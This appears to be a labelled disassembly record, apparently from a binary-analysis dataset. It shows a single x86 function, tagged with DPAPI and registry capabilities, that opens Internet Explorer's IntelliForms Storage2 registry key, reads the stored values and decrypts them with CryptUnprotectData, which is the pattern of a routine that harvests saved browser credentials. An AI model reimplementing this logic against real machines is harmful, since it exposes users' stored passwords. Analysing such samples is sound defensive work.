Function at 0x40cde4
Capabilities:
Encrypt data using dpapi
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1404
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push str.Explorer
push str.Internet
push str.Microsoft
push str.Software
push 0x6c784c
mov dword [ebp - 0x13d4], eax
lea eax, [ebp - 0x3f0]
push 0x3e8
push eax
mov dword [ebp - 0x13e4], ecx
mov dword [ebp - 0x13e0], edi
call fcn.00402e0a
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x13d0]
add esp, 0x1c
xor ebx, ebx
push eax
push 9
push ebx
lea eax, [ebp - 0x3f0]
push eax
push SysReAllocString
call esi
test eax, eax
jne 0x40d0c0
push str.orage
push 0x6c7860
push str.elliFo
push 0x6c786c
push str._s_s_sSt_s2
lea eax, [ebp - 0x7d8]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x1c
lea eax, [ebp - 0x13c4]
push eax
push 9
push ebx
lea eax, [ebp - 0x7d8]
push eax
push dword [ebp - 0x13d0]
call esi
test eax, eax
jne 0x40d0c0
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x13c8]
push eax
push ebx
lea eax, [ebp - 0x13d8]
push eax
push ebx
push edi
push dword [ebp - 0x13c4]
call esi
test eax, eax
je 0x40ceed
push dword [ebp - 0x13c4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40d0c0
cmp dword [ebp - 0x13c8], 1
jb 0x40cedc
push dword [ebp - 0x13c8]
call fcn.004dfd44
pop ecx
mov ebx, eax
lea eax, [ebp - 0x13c8]
push eax
push ebx
lea eax, [ebp - 0x13d8]
mov dword [ebp - 0x13e8], ebx
push eax
push 0
push edi
push dword [ebp - 0x13c4]
call esi
push dword [ebp - 0x13c4]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, eax
call esi
push dword [ebp - 0x13d0]
call esi
test edi, edi
jne 0x40d0b9
push ebx
call fcn.00643470
pop ecx
cmp eax, 1
jb 0x40d0b9
mov eax, dword [ebp - 0x13c8]
mov dword [ebp - 0x1400], eax
mov eax, dword [ebp - 0x13d4]
push eax
mov dword [ebp - 0x13fc], ebx
mov dword [ebp - 0x13f4], eax
call fcn.00648cfd
pop ecx
xor ecx, ecx
lea eax, [eax*2 + 2]
mov dword [ebp - 0x13f8], eax
lea eax, [ebp - 0x13f0]
push eax
push ecx
push ecx
push ecx
lea eax, [ebp - 0x13f8]
push eax
push ecx
lea eax, [ebp - 0x1400]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x40d0b3
mov ecx, dword [ebp - 0x13ec]
mov eax, dword [ecx + 8]
mov esi, dword [ecx]
add eax, esi
mov edx, dword [ecx + 4]
add eax, edx
cmp dword [ebp - 0x13f0], eax
jb 0x40d0aa
mov edi, dword [ecx + 0x14]
lea eax, [ecx + 0x24]
mov dword [ebp - 0x13cc], eax
lea eax, [esi + edx]
add eax, ecx
shr edi, 1
je 0x40d0aa
mov ecx, dword [ebp - 0x13cc]
mov ebx, eax
mov eax, dword [ecx]
add ecx, 0x10
add eax, ebx
mov dword [ebp - 0x13cc], ecx
push eax
push 0x6c7880
mov esi, dword [ecx]
lea eax, [ebp - 0x13c0]
push 0x400
push eax
add esi, ebx
call fcn.00402e0a
push esi
push 0x6c7880
lea eax, [ebp - 0xfc0]
push 0x400
push eax
call fcn.00402e0a
lea eax, [ebp - 0xfc0]
push eax
call fcn.00643470
add esp, 0x24
lea eax, [ebp - 0xbc0]
xor esi, esi
push esi
push esi
push 0x3e8
push eax
push 0xffffffffffffffff
push dword [ebp - 0x13d4]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ecx, dword [ebp - 0x13e4]
lea eax, [ebp - 0xfc0]
push 2
push dword [ebp - 0x13e0]
push eax
lea eax, [ebp - 0x13c0]
push eax
lea eax, [ebp - 0xbc0]
push eax
push 0x6c5bb9
push esi
push 1
call fcn.0043ee6b
mov ecx, dword [ebp - 0x13cc]
add ecx, 0x10
sub edi, 1
jne 0x40cfee
mov ecx, dword [ebp - 0x13ec]
mov ebx, dword [ebp - 0x13e8]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x40d0b9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
call fcn.004cdb8d
pop ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 8